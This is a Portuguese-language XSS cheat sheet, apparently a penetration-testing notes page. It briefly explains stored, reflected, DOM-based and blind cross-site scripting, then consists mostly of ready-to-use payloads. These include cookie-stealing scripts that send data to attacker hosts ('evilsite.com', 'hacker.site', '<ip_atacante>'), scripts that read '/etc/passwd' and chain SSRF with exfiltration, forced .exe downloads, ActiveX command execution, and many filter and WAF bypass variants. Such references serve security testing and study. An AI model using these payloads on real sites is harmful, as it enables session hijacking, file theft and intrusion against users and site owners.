XSS

O XSS (Cross-Site Scripting) é uma vulnerabilidade que consiste em injeção de códigos dentro de páginas. Com esse tipo de ataque podemos ler arquivos remotos (LFI/RFI/SSRF), executar comandos, redirecionar para páginas maliciosas e até mesmo e sequestrar cookies de usuários.

OBS.: Muitos navegadores modernos bloqueam os ataques, então utilize um navegador mais antigo para ter um resultado melhor.

Caso o código JS esteja ofuscado, utilize o js_beautify para deixá-lo legível: sudo apt-get install libjavascript-beautifier-perl

Tipos de XSS

Stored

Também conhecido como XSS Persistense, é quando o código malicioso fica armazenado no banco de dados do site ou no cache do servidor. Portanto, toda vez que algum usuário acessar determinada página de um site, esse site irá resgatar informações do banco de dados (que possui o payload) e então irá executar o código malicioso para esse usuário.

Reflected

Conhecido como XSS Refletido, ocorre quando o atacante insere um payload em algum lugar do site, podendo ser este um campo de pesquisa, um header, uma URL, etc. Após isso, esse payload é refletido na página web, executando assim o código malicioso. Diferente do Stored XSS, este não tem dados armazenados no banco de dados (exceto em casos de armazenamento de log's e outros casos do tipo).

DOM-Based

Essa variante ocorre quando o DOM (Document Object Model) de uma página é modificado com valores controlados pelo usuário. XSS baseado em DOM pode ser armazenado ou refletido. A principal diferença é que os ataques XSS baseados em DOM ocorrem quando um navegador analisa o conteúdo da página e o JavaScript inserido é executado.

Em outras palavras, ocorre quando algo é injetado em javascript no DOM, sem passar pelo servidor. O código é executado na resposta, por exemplo, os usuários inserem um parâmetro de pesquisa que é enviado para o servidor que pode higienizá-los. Na resposta, os itens de pesquisa encontrados são enviados, mas não a consulta de pesquisa. Se vermos na página da web a consulta de pesquisa é exposta, como por exemplo: "Oops! Não foi possível encontrar XYZ". Isso ocorre porque ele obtém o parâmetro de pesquisa do parâmetro URL, usando document.location.href por exemplo. Sendo assim, o ataque ocorre quando um código JavaScript usa o parâmetro passado na URL para escrever na própria página, e esse parâmetro não é uma entidade HTML.

Blind XSS

Pouco falado, porém pode ser muito eficaz, o Blind XSS tem um diferencial dos demais tipos: não podemos "ver" a execução do nosso payload (o nome já é bem intuitivo). Então como podemos saber se isso deu certo? Simples, fazendo com que o alvo faça uma requisição para nosso servidor externo. Sites como https://xsshunter.com tornaram grandes aliados nessa tarefa, tirando print de tela das vítimas e enviando a servidores remotos.

Geralmente um bom ponto de ataque para um Blind XSS, são em páginas de Contato, onde somente o administrador do site (ou algum funcionário da empresa) tem acesso a visualização, páginas de logs de acesso, etc.

XSS com RFI

NOTA: Esses códigos são úteis quando temos uma falha de RFI, assim colocamos esse código em um servidor remoto e fazemos o alvo ler esse arquivo e executar o Javascript. Também pode ser utilizado em outras situações, mas é bom deixar destacado essa parceria com RFI ;)

Executando Comandos no SO via JS

var oShell = new ActiveXObject("Shell.Application");
var commandtoRun = "C:\\Windows\\system32\\calc.exe";
oShell.ShellExecute(commandtoRun,"","","open","1");

Executando Comandos

<script>eval(atob(<codigo_em_base64>))</script>

O atob converte o base64 em texto limpo (que no caso irá ser um código) e o eval executa esse código.

Inserindo Arquivos

<html><head><link rel="attachment" href="file:///flag" /></head><body></body></html>

Lendo Arquivos

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>

<script> x=new XMLHttpRequest; x.onload=function(){document.write(btoa(this.responseText))}; x.open("GET","file:///etc/passwd");x.send(); </script>

Caso consiga ter acesso ao cookie, pode enviá-lo por meio de uma requisição GET. Para isso precisamos de um site disponível pegarmos o cookie.

<script>document.write('<img src="https://evilsite.com?c='%2Bdocument.cookie%2B'" />');</script>

Ou, podemos também fazer da seguinte forma:

<img id="img" src="">
<script>
	document.getElementById("img").src="​http://<ip_atacante>/?cookie="+document.cookie
</script>

Forçando o Download de Arquivos

<script>var link=document.createElement('a'); link.href='<http://site.com/downlaod/file.exe>'; link.download=''; document.body.appendChild(link); link.click();</script>

XSS + SSRF

<script>let xhr = new XMLHttpRequest();xhr.open('get','<http://site.com>');xhr.send();xhr.onload=function(){ document.write('<img src="https://hacker.site/?c?='+xhr.responseText+'"/>');};</script>

<script>let xhr = new XMLHttpRequest();xhr.open('get','https://cors-anywhere.herokuapp.com/<http://site.com>');xhr.send();xhr.onload=function(){ document.write('<img src="https://hacker.site?c?='+xhr.responseText+'"/>');};</script>

R3vSh3ll3r

Execute python R3vSh3ll3r.py e confirme os LHOST e PORT. Irá ser gerado um payload que deverá ser executado na paǵina do alvo. Assim que fizer isso irá aparecer um $ e a partir daí pode-se inserir comando de javascript

XSSer

Note que sempre terá um parâmetro com o valor XSS, isso serve par inficar ao XSSer qual parâmetro deverá ser atacado.

GET

xsser —url <http://site.com?name=XSS> --auto

POST

xsser —url <http://site.com> -p "param1=XSS&param2=example" --auto

Payload personalizado.

xsser —url <http://site.com> -p "param1=XSS&param2=example" --Fp <payload>
xsser —url <http://site.com?name=XSS> --auto --cookie="<cookie>"

XSS Polyglot

Testa diversos tipos de injection em Javascript de uma só vez.

javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

Bypass em alert

<sCRIpT>"ale"+"rt"</sCRIpT>

Bypass em Parênteses e Aspas (Simples e Duplas)

Quando o WAF está barrando os parênteses ou aspas (Simples e Duplas), podemos substituir por \`, exemplo:

<img src=x  onerror=alert`1`>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

Em alguns casos, o WAF só barra o primeiro comando do onerror, então podemos colocar mais comandos

<img src=x onerror=&#x1111111ffffff;;alert`1`>
<IMG SRC="javascript:alert('XSS');">

Bypass em Aspas Simples

<IMG SRC=javascript:alert(&quot;XSS&quot;)>

Omitindo Parênteses e Aspas Duplas

<IMG SRC=javascript:alert('XSS')>

Criando TAGs

<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT SRC=http://xss.rocks/xss.js?< B >
<SCRIPT SRC=//xss.rocks/.j>
</script><script>alert('XSS');</script>

XSS em Imagens

Todas as opções abaixo, tem o mesmo propósito

# Os dois exemplos abaixo rodará no Internet Explorer 6.0, mas não na versão 7.0 ou superior
<IMG SRC="javascript:alert('XSS');">
<img src="#" onClick="alert(123)">

# XSS em Eventos de imagens
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<IMG SRC=javascript:alert("XSS")>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>

# Alert com encode
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

# Bypass
<IMG SRC="jav    ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
<IMG SRC=" &#14;  javascript:alert('XSS');">
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>


# HTML em Decimal 
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
# Igual o exemplo acima, porém utilizando o 7 caracteres e sem o ponto e vírugla
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

Eval + Decode

Neste, o valor em String.CharCode() corresponde a alert(1), que está convertido em decimal. É feito então um decode nesse valor e depois o eval se encarrega de executar o mesmo.

<img src="x" onerror="javascript:eval(String.fromCharCode(97,108,101,114,116,40,49,41))" />

Tag script para gerar script

<sCr<sCrIPt>iPt>alert(1)</sCr</sCrIPt>iPt>

XSS na tag title

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

XSS na tag input

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

XSS na tag body

<BODY BACKGROUND="javascript:alert('XSS')">

XXS na tag a

 <a href='javascript:alert(1)'>XSS</a>

TAG's Mal Formadas

<iframe src=http://xss.rocks/scriptlet.html <
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC="javascript:alert('XSS')"

XSS em Markdown

[a](javascript:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)

PHP_SELF

Desenvolvedores PHP geralmente utilizam o PHP_SELF para retornar a URL atual e inserir em alguma parte do código (geralmente em formulários), como no exemplo abaixo:

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
# Ou
<form action="<?= $_SERVER['PHP_SELF'] ?>" method="POST">

O problema disso é que, se passarmos algum código javascript na URL, irá ser injetado diretamente no HTML, por exemplo:

http://site.com.br/index.php/"><script>alert(1)</script><form class="

CharCode

Utilize CharCode quando caracteres como Aspas Simples e/ou outros estão sendo bloqueados

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

External Code

Quando o navegador bloqueia uma chamada de uma arquivo js de um site externo, pode chamar como no exemplo abaixo (em um caso de chamada via GET):

http://site.com/file=data:text/plain,alert(1)

Mouseover

<a onmouseover="alert(2)">d</a>

Sites

# Mapa mental de XSS
https://raw.githubusercontent.com/cyberspacekittens/XSS/master/XSS2.png

# Documentação oficial do Google sobre proteção a XSS  
https://www.google.com/about/appsecurity/learning/xss/index.html

# Gerador de Payloads XSS
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

# Documentação da OWASP    
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

# RCE a partir de XSS
https://github.com/Varbaek/xsser

# Webhook XSS
https://xsshunter.com

# Tutorial sobre XSS
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection

# Ofuscador de Javascript usando somente 6 caracters. Útil para utilizar contra NodeJS
http://www.jsfuck.com/

# XSS Polyglot
https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot

# Documentação do Helmet
https://www.npmjs.com/package/helmet

Last updated